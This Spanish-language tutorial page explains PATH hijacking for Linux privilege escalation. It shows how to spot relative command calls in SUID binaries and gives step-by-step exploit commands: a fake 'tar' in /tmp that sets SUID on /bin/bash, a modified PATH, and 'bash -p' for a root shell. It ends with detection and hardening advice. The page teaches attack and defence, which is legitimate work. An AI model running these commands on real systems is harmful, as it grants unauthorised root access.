the_open_door
café
ESEN
← Volver al índice

PATH hijacking

El PATH hijacking (secuestro del PATH) aprovecha que un programa privilegiado invoque otro ejecutable por su nombre, sin ruta absoluta. Cuando un proceso lanza, por ejemplo, tar en lugar de /usr/bin/tar, el sistema lo busca recorriendo los directorios de la variable de entorno $PATH en orden. Si el atacante puede anteponer un directorio que él controla y dejar ahí un fichero llamado igual, el proceso ejecutará su binario en vez del legítimo, heredando sus privilegios.

Identificar la llamada relativa

El caso más jugoso es un binario SUID de root o una tarea de root (cron) que haga una llamada del tipo system("tar -cvf ..."). Para detectarla se traza el binario o se leen sus cadenas:

ltrace -f /usr/bin/programa_vulnerable 2>&1 | grep -iE 'system|exec'
# system("tar -cvf /root/.backup/... ")  ← tar sin ruta absoluta
strings /usr/bin/programa_vulnerable | grep -vE '^/' | grep -E 'tar|cp|id|service|systemctl'

Cualquier comando sin / inicial es candidato: el binario confía en el PATH.

Explotación

Se crea un ejecutable falso con ese nombre en un directorio escribible y se pone ese directorio primero en el PATH antes de lanzar el binario:

cd /tmp
echo 'chmod u+s /bin/bash' > tar     # payload: dejar bash con SUID
chmod +x tar
export PATH=/tmp:$PATH               # /tmp gana la busqueda
/usr/bin/programa_vulnerable         # ejecuta /tmp/tar como root
bash -p                              # shell que conserva euid=0

La pieza fina es el -p de bash: sin él, la shell descarta los privilegios elevados al arrancar; con él los conserva, de modo que un /bin/bash con bit SUID (el que acaba de poner el payload) abre una sesión con euid=0(root).

Variantes

Cómo detectarlo. La firma es un proceso privilegiado ejecutando un binario desde una ruta anómala (/tmp/tar, /dev/shm/id) en vez de /usr/bin: auditd/Sysmon for Linux sobre execve revelan el path=/tmp/... con el ppid del binario SUID o de cron. En reposo, un ejecutable en un directorio de escritura de usuario cuyo nombre coincide con una utilidad del sistema (tar, cp, service) es un indicador; y una shell con euid=0 cuyo padre no es un proceso de administración cierra la cadena.

Defensa. Invocar siempre los binarios externos por ruta absoluta desde código privilegiado (o sanear PATH al principio del programa), definir secure_path en sudoers, no dejar que procesos de root confíen en el PATH heredado del entorno, y minimizar los binarios SUID propios. Relacionado con el abuso de binarios SUID y con la suplantación de librerías por orden de búsqueda.

HerramientasPowerUp

Máquinas donde se aplica